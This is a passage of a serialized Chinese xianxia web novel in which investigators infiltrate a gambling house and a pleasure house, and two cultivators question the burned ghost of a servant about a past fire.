其目的就是要让秦在锦清清楚楚地看到他所前往的方向。 如此一来,既可以消除守卫对他的怀疑,又能借此试探出秦在锦的真实意图。 若方才扔来的种子只是一场恶作剧的话,那么在他离开后,秦在锦是不会追上来的。 “知道,公子随我来。”白简承回道。 二人跟着他走街串巷的,没过多久,就在一家面馆儿前看到了端坐在那等人的吴书世。 秦在锦漫不经心地走上前去,随后开口问道:“方便我们坐这儿吗?” “随意。”吴书世做了个请的手势。 秦在锦微微颔首,道了声谢。 刚一坐稳,就朝面馆老板要了四份招牌的汤面,同时叮嘱老她多加份肉。 白简承面露疑惑之色,好奇地问道:“四份?” 秦在锦笑着解释道:“嗯,小吴公子还未用饭吧。” 说话间,从怀中取出一个药瓶,又拿出一捆纱布。 接着,将这两样东西轻轻放置在吴书世身前的桌子上。 吴书世先是扫了眼药瓶,然后抬起双眸,看向秦在锦,开口道:“公子找我,所为何事?” “自然请你帮个忙。” 他本就生的一副讨喜的容貌,笑起来时两只眼睛弯弯的,以及脸颊两侧若隐若现的浅浅梨涡,更是增添了几分柔和之感。 此外,他身上还带着一种淡雅清幽的药香气息,让人闻到后会不自觉的安心。 “什么忙?”吴书世轻声问道。 “帮我进云启坊,赢点钱回来。” 秦在锦说完这话,掏出了自己的钱袋。 只听“砰”的一声闷响,沉甸甸的砸在桌上,不知道的还真以为他是个有钱的主。 可背后的心酸只有他们自己人清楚,这都是一个任务一个任务攒的血汗钱。 但是,话都放出去了,这场子得撑下去。 就在这时,秦在锦身旁传来一阵极其细微的轻笑声。 不用想就知道是司徒信那厮。 “笑什么?” 秦在锦侧过身去,用略带散漫的眼神看向对方。 而此时的司徒信,眼角眉梢都带着笑意,回应道:“秦兄赚钱也不容易,还是别拿出来浪费了。” 他不敢笑的放肆,生怕让秦在锦觉得他此举是在瞧不起人。 但秦在锦已经这么觉得了。 什么叫赚钱不容易? “我可太容易了好吗?”秦在锦反驳道。 “是是是,在下说错了,给秦兄赔不是。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!司徒信立马道歉,同时还不忘从怀中掏出一沓银票。 而后,他一脸淡然地把那一沓银票轻轻放在桌子上。 看似随意地朝着秦在锦所在的方向推了过去。 仿佛这桌上放的不是钱,而是一沓废纸一般。 “你没错,是我错了,我大错特错。” 秦在锦默默的收回了自己的钱袋,他没事儿瞎逞什么能? 就在两人闲聊之际,香气扑鼻的四碗汤面被端了上来。 那老板还真应了秦在锦的要求,每一碗里都额外多加了一份肉丝。 “谢谢姐姐,祝姐姐生意兴隆。”秦在锦笑着接过,嘴巴甜得跟抹了蜜一样。 听到秦在锦称呼自己为姐姐,那位老板先是微微一愣,随后笑的合不拢嘴。 “你这孩子,我都四五十了,该叫婶婶才对。” 老板嘴上虽是纠正秦在锦的称呼,但说话的语气却是格外亲切。 秦在锦不以为然地摇了摇头,一本正经地回道:“姐姐莫要说笑,您这哪里像四十啦?我看最多才三十呢。” 说罢,便把应付的汤面钱递到了老板手中。 那老板收下钱,连忙说道:“好好好,不够吃就跟婶婶说,婶婶给你加面。” “不跟婶婶说,就跟姐姐说。” 老板笑着转身进屋,同时还不忘跟后厨的人说方才被人夸的事情。 而这边的司徒信默默的给秦在锦竖了个大拇指,“秦兄,佩服!” “欸,我佩服你才是。” 秦在锦说这话的时候,抬手敲了敲桌上的银票。 而一旁的吴书世看到秦在锦同老板的那番对话后,也暗自松了口气。 想来,这样的人,不会是坏人。 只是,让他去赌坊一事,他怕是不能答应。 而秦在锦自然是料到他要拒绝,出言解释道:“我知你有想救之人,但就算那谈东轩愿意宽限时日,你能保证可以赚到或借到足够的钱去赎人吗?” 这话虽然说的直白了些,但却是不折不扣的大实话。 他们总是想着求人能多给些时日,可他们自己也知道,哪怕真给了,也凑不齐欠款。 他家并不富裕,他的亲戚也过得十分拮据,更遑论那些街坊邻居了,哪有多余的闲钱借给他们还债啊! 吴书世心里头纵然有千言万语想要辩驳一二,可那张微微张开的嘴巴愣是半天没吐出一个字来。 “吴公子,难道长跪不起,就能跪出钱来吗?难道把头磕破,就能磕动那群人的良心吗?” “不会的,你得换个法子,你得站着去把赌坊欠你们的钱拿回来!” 他说的是赌坊欠他们的,而非他们欠赌坊的。 吴书世闻言,缓缓抬起眼眸,似乎在示意对方继续讲下去。 “我自然知晓你心中存有诸多顾虑,你害怕输,害怕心上人再也救不回来。” “但我还是希望你能相信我,相信我们。” 秦在锦说话的语气缓慢而轻柔,尽可能的让对方能够听得进去。 而后,他拿出自己中律司的任务书,将它递给吴书世查看。 “我叫秦在锦,乃阳春门弟子。此番来到玉饶,是为了调查碧水轩一案,同时,也是为了调查谈家那见不得光的黑心产业。” 吴书世看着任务书怔愣了片刻,他知道中律司,也知道阳春门。 过了好一会儿,他才如梦初醒般抬起头,问道:“公子要我怎么做?” “我们得兵分两路,届时司徒公子会跟在你身后,暗中帮助你。”秦在锦有条不紊地回道。 闻听此言,吴书世觉得如此安排倒也算合情合理,但仍是一副欲言又止的样子。 司徒信不禁轻轻挑起一侧眉毛,用眼神向其示意对方,但说无妨。 “可他们知道我没钱。”吴书世略带窘迫地说道。 赌坊的人自然知道他家境如何,再加上他跪在门口求了那么多天。 如今,却又带着一大笔钱去赌,任谁看了都起疑心。 司徒信先是微微颔首表示对吴书世顾虑的认可。 随后略作思索,掏出一块晶莹剔透、温润光滑的玉佩,将其放在桌上。 “这个给你。” 秦在锦只一眼,就明白了司徒信的打算。 “这玉佩你拿去当铺当了,换到钱后直接去赌坊,届时我们会在门口等你。” “为何不直接给他钱?就说捡的不就好了?”白简承有些不解的问道。 秦在锦拿起帕子擦了擦嘴角,不紧不慢地同他解释道:“这条街尚未安置云启坊的眼线,但是从赌坊到当铺的路上绝对会有。” 也就是说,这钱从哪来的并不重要,重要的是得让云启坊的人知道确实是吴书世换来的。 听完这番话,白简承皱起眉头追问道:““那他们就不会怀疑玉佩的来历吗?” 只见司徒信满不在乎地耸了耸肩,随口应道:“就说路上捡的呗,届时我会说我玉佩丢了。” “你说你玉佩丢了,然后呢?你谁啊?”白简承说这话的时候,忍不住吸了吸鼻子。 本小章还未完,请点击下一页继续阅读后面精彩内容!秦在锦再也绷不住了,扑哧一声笑了出来。 真是风水轮流转啊。 “吃你的饭!” 司徒信没好气的白了他一眼。 大人说话,小孩子插什么嘴。 稍稍平复了一下情绪之后,秦在锦像是突然想起了什么似的,开口询问道:“对了,你知道你要救的人被送到哪里了吗?” “三生殿。” “叫什么名字?” “齐兰。” 得到答案后,秦在锦点了点头,表示道:“好,我让她们帮你留意着些。” 吴书世虽不知道秦在锦口中所说的“她们”是谁,但心里的那块石头暂且落了地。 饭后,秦在锦等人率先朝着赌坊走去。 而吴书世则紧紧握着手中的玉佩,拔腿就往当铺方向狂奔而去。 随后,四人分开行动。 秦在锦同白简承潜入赌坊,查找藏在赌坊的报子。 而司徒信换上一身轻便朴素的便装,寸步不离的跟在吴书世身后。 此时正值华灯初上时分,云启坊内人声鼎沸、喧闹异常。 二人站定在赌桌两旁,桌上的骰子盅在烛光下泛着冷冷的光。 这一桌的赌博规则十分简单,就是单纯的比大小,且三局定输赢。 就在吴书世紧张得手心冒汗之际,身旁的司徒信突然微微侧身靠近他,压低声音沉稳说道:“莫要慌张,信我便是。” 庄家一声吆喝,“开赌咯!” 吴书世伸手拿起骰子盅,手腕轻轻一抖,骰子在盅内飞速旋转,发出清脆的声响。 紧接着,他重重地将骰子盅扣在桌上,动作干净利落。 对面之人不慌不忙,双手握住骰子盅,骰子在他的掌控下旋转着。 片刻后,那人稳稳地将骰子盅放下。 抬眸时,与吴书世对视一眼,目光交汇间,似有火花四溅。 周围的赌客们纷纷围拢过来,兴奋地叫嚷着下注。 一时间,押注声此起彼伏。 “开!” 随着庄家一声令下,吴书世猛地揭开骰子盅,三个六赫然在目,周围顿时响起一阵惊叹。 司徒信嘴角微微上扬,眼神中透着一丝得意。 要论运气,谁比得过他? 对面之人在看到吴书世的点数时,怔愣了片刻。 但随即又恢复了情绪,不紧不慢地揭开自己的骰子盅,两个六,一个三。 人群中顿时发出阵阵唏嘘声。 其实他这个点数算是大的了,但无奈人吴书世的点数更大。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第173章 心 再看三生殿这边厢。 冬苓本以为邱漓和她一样会拿着牌子进内殿。 于是,故意放缓了脚步,想等着她一起过去。 前方带路的小厮早已等候多时,眼见着冬苓慢吞吞的模样,终于按捺不住性子,回头咂舌抱怨道:“姑娘,快别看了,里头还等着您呢。” 冬苓闻言,理直气壮地回应道:“急什么?本姑娘脚疼,走路慢。” 那小厮心里跟明镜儿似的,清楚冬苓这番话不过是随口胡诌罢了。 他方才就站在一侧候着,这姑娘从队列里出来之时那可谓是步履轻盈,完全不像是脚疼的样子。 但他说白了也只是一个下人,终究不敢再多嘴催促冬苓走快一些。 约莫又等了一会儿,冬苓才瞧见邱漓的身影。 刚想同她打招呼的时候,却见那丫头手里拿着一只荷花。 尚未等冬苓开口发问,邱漓便迅速朝着她轻轻摇了摇头,同时做出了一个让她安心的手势。 她是故意的。 她不想进内殿。 不对....... 她不是不想进,而是认为两个人都在内殿的话,搜索范围太过局限。 倒不如分头行动,一人在内殿,一人在外殿。 只是,如今人生地不熟的,她们还未来得及了解清楚这里的规则。 谁也摸不准到底哪边儿待着会更安全一些。 冬苓最终无奈地叹了口气,邱漓总是有着自己的想法。 也不知是好是坏。 末了,冬苓向她点点头,示意自己知道了。 而后,二人往相反的方向走去。 待冬苓踏进内殿之后,发现那里已经站了几位亭亭玉立的姑娘,都是方才拿了牌子的。 而正中央的主位上,则端坐着一位神态威严、举止高傲的妇人。 只见她微微抬头,双目扫视着众人,一副盛气凌人的模样,想来应该是此处的管事之人。 此时,梦娘将目光投向冬苓身旁的小厮,开口问道:“人都到齐了?” 那小厮赶忙弯下腰来,恭恭敬敬地回答道:“小的刚才打量了一番,估计不会再有其他姑娘被送来了。” 后排那些女子中,除了他带进来的这位,也就另一个姑娘瞧着有几分姿色。 只可惜那姑娘拿着荷花,想来是没入东家的眼。 梦娘懒散地“嗯”了一声,表示知晓情况,然后缓缓从椅子上坐起身来。 当走到其中一位姑娘跟前儿时,突然停下脚步,面色一沉,厉声呵斥道:“瞧瞧你这副德行,肩膀高高耸起像什么样子?简直不成体统!” 那姑娘被吓得浑身猛地一颤,急忙调整自己的站姿,不敢有丝毫怠慢。 “都给我站好了!腰杆挺直,肩膀放松,头微微抬起,眼神要柔中带媚,不可轻佻。” “走路时,步子细碎些,莲步轻移,如微风拂柳。” “见了客人,莫要急于献媚。先轻启朱唇,浅笑嫣然,轻声问候。” “若是客人言语轻佻,万不可生气,要巧妙回应。” “都听清楚了吗?” 她说完这些话,双眼扫视着在场众人, 可眼瞅着无人回应,不禁皱了下眉。 随后,有些不满地看着身后的小厮,略带嘲讽地问道:“这一批都是哑巴?连个应声都不会?” 那小厮一听,急忙给冬苓等人使眼色,示意她们赶紧回话。 “是!听清楚了!” 冬苓见状,猛地提高嗓音大吼一声。 梦娘被这一嗓子吼的,撇着嘴闭上了眼睛,同时还不忘别过头去。 等耳朵清净后,满脸不耐烦地瞪了一眼冬苓这个“罪魁祸首”。 “说那么大声干什么?方才是怎么教你们的?轻声问候、轻声问候,知不知道什么叫轻声问候?” 她走到冬苓面前站定,居高临下地盯着冬苓的双眸问道。 面对梦娘咄咄逼人的质问,冬苓小声地嘟囔道:“知道了。” 她这声回答无异于没有回答,梦娘脸色有些阴沉,冷哼一声问道:“没吃饭吗?” 就在冬苓深吸一口气,准备扯着嗓子大声回应时,梦娘抢先一步说道:“轻声些!” “知道了。” 说完这句话,冬苓还不忘冲着梦娘露出一个浅浅的微笑。 生怕这人又来挑刺儿。 方才那句:轻启朱唇,浅笑嫣然,轻声问候...... 她记着呢。 可俗话说的好,棒打出头鸟。 冬苓如此这般的一通闹腾,算是让梦娘彻底记住她了。 于是乎,待到最终分配房间之时,梦娘把最为简陋不堪的那一间留给了冬苓。 夜里若是下雨刮风,怕是连觉都睡不好。 不过冬苓倒乐的自在,因为这房间恰好紧挨着楼梯口。 这样一来,她若想外出办事或者传个信息,根本无需从她人的房门前经过,着实方便不少。 只是,她这边刚进屋没多久,便听到门外由远及近地传来一阵轻微而又急促的脚步声。 没过多久,那阵声响就停留在了她的房门前,并伴随着敲门声响起。 这章没有结束,请点击下一页继续阅读!“姑娘,您歇息了吗?” 是应婆的声音。 “没呢,您进来吧。” 冬苓正坐在铜镜前,准备卸下头上那些繁琐复杂的发饰。 话音未落,房门被轻轻推开。 应婆面带微笑,手里提着一个精致的食盒缓缓走进屋来。 待她关好门之后,压低嗓音轻声说道:“姑娘想必还未曾用过晚膳吧?赶紧吃点东西填填肚子。” 食盒第一层摆放着几块色泽金黄、香气四溢的胡饼,而第二层放着制作精美的糕点。 “让您破费了。” 冬苓不好意思的笑了笑,随后伸手拿起一个胡饼。 “哪儿的话,姑娘这房间不好,夜里风大,恐会着凉。等过几天,我寻个由头给你把房间换了。” 说话间,应婆的眼中流露出满满的心疼之色。 同时还用手将食盒朝着冬苓的方向又推近了一些,示意她多吃一点。 听到应婆要给自己换房间,冬苓急忙摇了摇头,连连摆手拒绝。 “不用不用,这间就挺好。” 要是换了房间,指不定还会有什么麻烦。 随即,冬苓又想到什么,开口问道:“阿漓她......” “姑娘放心,外殿那位嬷嬷我认识,已经拜托她多留意一些了。对了,这个是她让我给你的。” 话落,应婆从怀里掏出一只四四方方的小木盒,将它小心翼翼地递给冬苓。 冬苓不用看也能猜到里面装的是什么东西,肯定都是那丫头饲养的蛊虫。 她年长邱漓几岁,本该她来照顾邱漓,如今反被那丫头照顾了。 冬苓看着手中的木盒笑了,随后轻声道:“劳烦阿婆帮我带句话给她。” “姑娘请说,一定给你带到。” “不想做的事便不做,出了事阿姐给她担着。” 应婆听到这话时, 还有些不太明白,怔愣了片刻后,才笑着应道:“好好好,我会一字不落地告知她。” 想做什么就去做。 这句话初听时,会觉得难能可贵,甚至会信心加倍。 然而现状是,这事儿做与不做都可以。 即便不做,也可以继续生活。 若是做了,或许会改变生活。 因为,人是感性与理性的结合体,也是冲动与克制的矛盾者。 所以,人会瞻前顾后,会左右逢源,会想着如何减少因为自己,而给他人带来的麻烦。 那么,有些事儿,想想也就算了。 可是,若有人同你说,不想做的事可以不做,或许会心安理得良多。 待应婆离开没过多久,冬苓便迫不及待地脱下了那身让她浑身别别扭扭、极不舒服的衣服。 眼下就只穿着一件白色的中衣,身上随意地披着一张毛茸茸的毯子。 窗户就这么直愣愣的敞开着,晩风吹在身上带来丝丝凉意。 正当她准备将放置在桌上的食盒盖子合上时,突然听到身后传来“咚”的一声闷响。 冬苓心中一惊,迅速转过身去,目光所及之处,是正在小心翼翼关上窗户的秦在锦。 “你......你怎得来了?” 冬苓有些惊讶地问道。 云启坊离三生殿尚有些距离,哪怕快马加鞭也需要将近两个时辰才能抵达。 秦在锦完全可以选择直接回到客栈好好歇息一番,实在没必要大老远跑这一趟。 “不放心,过来看看。”秦在锦说道。 方才冬苓正背对着他,所以也并未瞧见她脸上的红妆。 如今二人面对面相望,目光交汇在一起的瞬间。 他想,仙子也不过如此了吧。 “吃了吗?” 窗户合上后,屋内的光线便没那么亮,所以冬苓没注意秦在锦通红的双耳。 “没。” “坐过来吃一些。” 冬苓将还未合上的盖子放到一旁的桌上,而后给秦在锦腾了个位置。 于是,同一张桌子前,一人埋头吃东西,一人对镜拆发饰。 等到半炷香的时间过去,冬苓才察觉出不对劲儿的地方。 这人平日里一大堆的话就没停过,怎得今日这般安静? 莫非是赌坊那边调查的不顺利? “你怎么了?”冬苓问道。 秦在锦嘴里正吃着糕点,含糊不清地回道:“嗯?没怎么啊。” “不对,你为何不看着我说话?” “我吃东西呢。” “那你是用眼吃的吗?” 冬苓无语的翻了个白眼。 这话一出,让秦在锦差点噎着,一双眼睛四处乱瞟,满屋子找水喝。 冬苓看他那副手足无措的样子,已然明了他为何会如此失态。 她不禁抿嘴轻笑出声,悦耳的笑声在房间内回荡开来。 笑罢,她伸手轻轻敲了敲摆在桌子上的水壶,“锦哥,水在这儿呢。” 秦在锦看到后,刚想伸手去取,不料却被冬苓抢先拿走。 于是,他又将伸出去的手收了回来,默默背到身后去。 冬苓见状,微微抬起下巴,直视着秦在锦的眼睛,沉声道:“躲什么?坐那儿。” 这章没有结束,请点击下一页继续阅读!秦在锦闻言,不敢有丝毫怠慢,赶紧走到椅子前,老老实实地坐了下来。 等人坐下后,冬苓取出一只干净的杯子,倒满茶水,递到秦在锦面前。 “喝。” 秦在锦点点头,接过后一饮而尽。 “方才是不是害羞了?” “嗯。” 见此回答,冬苓嘴角微扬,露出一抹狡黠的笑容。 “喜欢我这样?” 秦在锦下意识地舔了下嘴角边残留的茶水,一时时间不知该如何回答。 他的那些巧言善辩,总是在冬苓面前变得哑口无言。 他其实更喜欢未施粉黛的冬苓,更干净,更纯粹。 如今这般模样的冬苓,他不反感,只是不敢抬头看。 “帮我把这个摘掉,我看不清。” 说着,她用手指了指头顶上的一个华丽发饰。 那东西同她的发丝缠在一起,她没那么多耐心一点一点的整理出来。 方才都想直接上手拿剪子剪掉了。 好在,她们锦哥在这儿呢。 “好。”秦在锦说道,随即缓缓站起身来。 屋内的烛火摇曳不定,时不时发出噼里啪啦的轻微爆裂声。 秦在锦动作轻柔的梳理着缠绕在簪子上的青丝,生怕扯到了头发,弄疼了她。 整个过程之中,他没有流露出一丝一毫的烦躁情绪。 他向来有耐心,尤其是对冬苓。 “锦哥。” “嗯?” “没事儿,就是想喊喊你。” 铜镜中的女孩眼眸轻轻低垂着,嘴角却微微上扬。 “喊!再喊大声些,让他们都知道我不是司徒意。” 江洵停下了步子,淡淡地瞥了一眼身后的傅霖。 自听完戏之后,这人就时不时地喊一两声江洵的名字。 傅霖耸耸肩,无所谓的回道:“他们本来就知道你不是司徒意。” “理由呢?” “司徒意是个病秧子,你看着可不像。” “我问的是,喊我名字的理由。” “需要理由吗?” 江洵冷哼一声,转身向前走去。 “江洵。” “洵哥?” “走那么快干嘛?等等师兄。” 口令正确,江洵站那儿了。 当他刚想回头让傅霖安静一会的时候,一阵冷风呼啸而过。 同时,耳畔响起了若有若无的唱戏声。 江洵心头一紧,连忙循声望去。 眼前这条乌漆嘛黑的小路上,除了他跟傅霖之外,没有第三个人。 “听到了吗?”江洵问道。 “嗯,不伤人,咱先回屋。” 说着,傅霖快步上前,同江洵并肩走着。 两人刚走没几步,那阵风再度刮起,戏声也愈发清晰起来。 傅霖微微抬头,凌厉的目光扫向藏在树后的一道身影。 似是警告,又像是不屑。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第174章 猫 片刻后,戏声骤然停歇,而那有些急躁的风也轻柔了许多。 二人踱步来到菊园时,一眼便望见了盈月正站在门口,向不远处张望着,似乎是在等什么人。 “姑娘在等谁?”傅霖走上前去,开口询问道。 她看向傅霖时,还是那种平缓的语气,还是那平静如水的目光。 “等我的猫。” 脸上不见半分着急,属实不像是在等一只猫的样子。 傅霖听后,点了点头,没再多问。 就在错身而过准备离开之际,盈月突然说道:“晚上听到任何动静,不要开门,不要声张,也不要在走廊内奔跑。” 江洵看着那姑娘的背影,不禁皱起了眉头。 最后一这句,她今天似乎交代过一次。 这走廊上到底能有什么东西? 江洵一边疑惑着,一边将身子向后仰去,朝着走廊深处望着。 除了那几盏挂在墙壁上、忽明忽暗仿佛随时都可能熄灭的油灯之外,并没有发现其他奇怪的地方。 哦……不对。 也有奇怪的地方,比如说它是歪的。 “这走廊为何是歪的?”江洵问道。 站在一旁的盈月听闻此言,不禁顺着江洵的视线望了过去。 她打量了一番后,轻启朱唇,呢喃道:“歪吗?我瞧着挺正的呀。” 江洵默不作声的点了下头,毕竟他也只是象征性的问一下,并不指望对方能说实话。 可谁曾想,那姑娘又慢悠悠地补充了句:“正的发邪。” 哈? 江洵一时之间有些分不清这姑娘是在开玩笑,还是真的在一本正经地陈述事实。 二人同盈月道别,走过长廊时,左侧的一盏油灯毫无征兆地熄灭了。 使得原本就略显昏暗的廊道,变得更加阴森起来。 走在前面的傅霖倒是显得镇定自若,一边掏钥匙开门,一边头也不回地说着:“放心,不伤人。” “你哪来的自信?” “首先,咱们这是戊级任务。” 他说这话的时候,特意将“戊级”两个字加重了语气。 门开时,一股凉风吹来,轻薄如蝉翼的窗纱被高高吹起。 似是在朝他们二人挥手,示意他们赶快进来。 “其次,若是真能伤到人,就不会搞这些唬人的小把戏了。” 真正能够对他们构成威胁的东西,绝不会处于戊级这种入门的级别。 说着,他掏出一个火折子,凭借着微弱的火光,摸索着向屋内走去,准备将放置在桌上的油灯点亮。 “最后,我在这儿呢。” 有我在,你就不会有事。 随着他手中火折子的靠近,油灯里的灯芯渐渐被点燃,昏暗的室内开始逐渐变得明亮起来。 此时,他们才看清楚屋内的景象,像是遭了贼一般。 只见地板上布满了乌漆嘛黑的脚印,看上去令人心烦意乱。 不仅如此,空气中还弥漫着一股刺鼻的焦糊味儿。 好在,屋内的物品并没有被动过的迹象。 只是这地板么,脏了一些。 江洵没有理会傅霖前面说的那几句话,待看清屋内的情况后,犹豫道:“换个房间?” “别啊,那东西到时候要是找不到我们了,得多可怜。”傅霖谈笑道。 他估计是白天遇到的那只鬼,趁他们走了以后,就从树上下来溜进了屋内。 傅霖当时刻意将窗户敞开,便是想瞧瞧这东西是否会有所行动。 果不其然,进来了。 就是不知道,他到底要找什么。 看着地面上那一串漆黑如墨的脚印,应当是前两年被烧死之人留下的痕迹。 江洵听他这么一说,顷刻间洞悉了他心底打的如意算盘。 “也罢。” 江洵嘴里轻声嘟囔着,缓缓移步走向窗边,准备将窗户逐一合拢关闭。 当关至最后一扇窗户时,有意留出了一条窄窄的缝隙,并未将其关得严丝合缝。 唯有这扇窗的窗台之上,留存着与那些脚印极为相似的黑色炭灰。 夜间,睡梦中的江洵感觉周遭的空气都变得炽热无比,浑身上下更是燥热难耐。 就好似有人拿着火把,围绕着他不停地打转。 他烦躁不安地想翻个身子,试图远离那仿若近在咫尺的火源。 可有人从背后紧紧抱住了他,令他动弹不得半分。 江洵睁开双眼,意识还未完全清醒,身体却已下意识地坐了起来。 他算是明白为啥动弹不了,合着傅霖那厮的胳膊正压在他胸口。 无奈,他现在只能勉强微微仰起身子。 他的位置恰好正对着窗户,透过朦胧不清的琉璃,他瞧见窗外站立着一道黑影。 那个人影静悄悄地立在原地,微微探着头,似乎想要努力看清屋内的情形。 而在这时,他像是察觉到了什么一般,猛然间将头转正过来。 那双空洞无神、甚至连眼珠都已不复存在的眼眶,直直地望向江洵所在的方向。 尽管如此,江洵还是能够清晰地感受到对方正在凝视着自己。 这章没有结束,请点击下一页继续阅读!“让他进来。” 耳畔响起傅霖低沉的声音。 早在江洵挣扎着想要翻身的时候,他就已经醒了。 话音未落,只听得“当——当——当——”的声响不断传来。 那人影开始用自己的头颅一下又一下地撞击着窗户,其力道之大,仿佛要将整扇窗户都撞开一般。 江洵闻言,又躺了下去。 “胳膊。” “嗯?”傅霖问。 “压着我了。”江洵回。 傅霖“哦”了一声,收回了放在江洵身上的胳膊。 吱呀—— 窗户被那人用头生生撞开了。 他想要翻窗进来,无奈窗台太高,愣是试了好几次之后才得以成功。 最终咚的一声从窗台的位置滚到二人的床尾。 “手......” “我的手......” 他的喉咙像是被什么东西堵着,说话的声音犹如干枯的树枝相互摩擦所产生的声响,沙哑且刺耳得令人难以忍受。 江洵躺在床上皱着眉头,眼睛因为专注而微微眯起,长长的睫毛一眨一眨的,想要听清那人说的话。 可他等了半天,那人也就只说了三个字。 什么手? 他手怎么了? 再看躺在身侧的傅霖,还在闭着眼睛假寐,愣是一点反应都没有。 要不是他方才说话了,还以为在睡着呢。 这跟旁边躺了个秦在锦有什么区别? 江洵心里不禁这么想着。 “手......” “手......” 等声音再次响起时,屋内响起了摩擦声。 那人绕着床铺周围缓缓爬行起来,他的动作听起来有些笨拙。 最后,他半个身子都钻到了床底,仿佛他的手就在这二人身下似的。 而就在这时,那人的脚无意间触碰到了某个地方。 一直紧闭双眼的傅霖,缓缓睁开了双眸。 说时迟那时快,只听得一声清脆的响指声响起。 刹那间,整个房间里光芒大盛。 一个法阵浮现而出,如同一道无形的枷锁,将那个人牢牢地束缚在了原地,动弹不得分毫。 这法阵江洵再熟悉不过了,当初弟子大会上,咬他腿那个。 傅霖一边打着哈欠,一边慢悠悠地从床上坐起身子。 随即,翻身下了床,不紧不慢地朝着被法阵困住的那个人走去。 法阵照亮了整个房间,此时只能看到那人被烧焦的下半身。 “拖出来。” 傅霖漫不经心地瞥了一眼后吩咐道。 话音未落,就见那原本闪烁着微弱光芒的爆发出一道亮光,紧接着传来一阵轰鸣声。 而后,一头体型巨大、毛发如雪的野狼出现在二人眼前。 它走到那人身旁,撕咬着已经被烧焦的小腿,用力一扯便将他从床底下拽了出来。 待那人完全暴露出来后,才发现他的两条小臂不见了。 难怪他一直在找手。 难怪他翻个窗户,都需要花费那么久的时间。 他看了一眼江洵,又看了一眼傅霖,想要说些什么,奈何嗓子被堵住,一句完整的话也说不出来。 江洵缓缓蹲下身子,伸出两指轻轻搭在他的喉咙处,将灵力渡了过去。 片刻之后,只见那人猛地剧烈咳嗽起来,声音嘶哑而低沉。 随着咳嗽声逐渐停歇,他终于能勉强地张开嘴巴,开口道:“手......手丢了。” “怎么丢的?”江洵问道。 那人听到这个问题,黑漆漆的脑袋,略显僵硬的转动着,努力思索着手是怎么丢的。 又过了好一会儿后,他才如梦初醒般喃喃自语道:“狗,是狗咬的。” “你还记得自己是谁吗?” “四丰。” “生前是这府里的人么?” 江洵紧接着又抛出一个问题。 “小工。” 就这样,江洵问一句,他便在思考过后,简短地回答一句。 在这一问一答之间,那些支离破碎的信息渐渐被串联起来。 关于那个夜晚、以四丰视角展开的故事开始慢慢浮现。 着火前的两个时辰,四丰像往常一样来到仓库。 他熟练地打开一个个装满物品的大箱子,提前将各个园子所需的用品逐一取出,整齐地摆放在一旁。 刚一回头,遇到了站在门外的公子,那人说他来取蜡烛。 他见过这个人,叫季朗然。 且不说他在梅园之中唱戏乃是一绝,单论长相,那也是出类拔萃的。 哪怕跟那几位兔爷站到一起,他也是最格格不入的那位。 四丰并不高,而那蜡烛却偏偏放置在了货架的最上层。 更为不巧的是,下午收拾碎瓦时将梯子给挪了出去。 如此一来,四丰只能在原地跳跃,试图够到那露出一截在外头的蜡烛。 但尝试许久,始终未果。 就在四丰倍感尴尬之时,只听得一个温和的声音响起:“我来吧。” 抬眼望去,但见季朗然迈步走进屋内。 这间仓库内满是灰尘,各类物品堆积如山,杂乱无章,甚至难以找到一处能够落脚之地。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!那人穿着一袭白色广袖交领长袍,周身散发一种干净而温润的气息,让人不禁心生好感。 恍惚间,四丰觉得像季朗然这样的人物,似乎不应涉足此地。 而是应当安坐于书房之内,静心读书习字才对。 待到季朗然走近前来,四丰忽然嗅到一股淡淡的香气从他身上传来。 似是沉香,清幽淡雅、沁人心脾。 “此间可有需要送往梅园之物?” 那人拿到蜡烛后,轻声问道。 “有有有,小的一会就送过去。”四丰赶忙回道。 “给我吧。” 他既然来都来了,那就没必要再麻烦旁人多跑一趟。 况且今晚的天气异常闷热,让人感觉十分烦躁。 如果还要费力地抬着重物在好几个园子之间来回奔波,属实怪折磨人的。 “这哪能让公子动手。” 四丰心里门清儿,季朗然是谈东轩身边的人。 那就是给他八百个胆子,他也不敢麻烦人家替他做事儿。 “你我皆是人,皆是为碧水轩工作的人,缘何不能?” 季朗然不解地问道。 听到这话,四丰不禁露出一丝无奈的苦笑,然后缓缓伸出手轻轻地擦拭了一下自己的鼻子。 “不一样,公子身份尊贵,站着就能赚到钱;而小的,只得跪着才能挣到一点微薄的收入。” 一时间,气氛有些尴尬。 四丰还以为是不是自己说错话了,惹眼前之人不快。 刚想开口缓解一下时,却听季朗然用一种略带自嘲的语气说道:“不,你才是站着的那位。” 四丰闻言,微微一愣,还未等他反应过来,那人又开口道:“既如此,就有劳您费心帮忙搬到梅园去,多谢。” 季朗然留下这句话,便转身离开了。 这是四丰来碧水轩听到的第一句“多谢”。 也是他这辈子听到的最后一句“多谢”。 像四丰这样身份低微之人,那些大人物根本不会把他当人看,只当是条听人话且会叫唤的狗罢了。 毕竟,只要给了钱,再苦再累的活他们都能干。 那一刻的他并不明白季朗然为何要那么说,甚至还以为那人是在阴阳他。 待将所有物品整理妥当后,他便依照距离的远近开始逐一派送。 当踏入梅园之际,一种异样的氛围瞬间笼罩住了他。 四周静得出奇。 往常的这个时刻,园中总会有悠扬婉转的戏曲之声此起彼伏,可今日却是鸦雀无声, 当他拎着东西途经一间屋子,屋内传出的声响令他不由得止住了脚步。 那是季朗然的声音。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第175章 盈 除此之外,还有另一个人的声音——谈培风。 四丰站在门口迟迟没有动作。 他是个男人,自然分辨得出屋内正在发生何事。 可是,那季朗然不是谈东轩的人么? 这小崽子又怎么会在屋里? 但他也就是一个这府里的搬运工,哪里有资格去插手这些人的事情。 正当他准备抬起脚转身离开之际,突然,身后传来了一阵低沉而冰冷的声音。 “好听吗?” 谈东轩面无表情地站在那里,浑身散发着一种让人不寒而栗的气息。 四丰瞬间感觉自己如坠冰窖,一股寒意从脊梁骨上直冲脑门,身子不由自主地颤抖起来。 谈东轩见状,眉头微微一皱,向前迈进一步。 将身子贴近四丰,再次追问道:“问你呢,我们然然的声音好听吗。” 四丰早已被吓得六神无主,脑子里一片空白,根本不知道该如何回应眼前这位煞星。 他轻啧了一声,表示出对四丰的极度不耐烦。 紧接着,只见他猛地抬起右脚,狠狠地踹向那扇破旧的木门。 伴随着“砰”的一声巨响,木门重重地撞击在墙壁上。 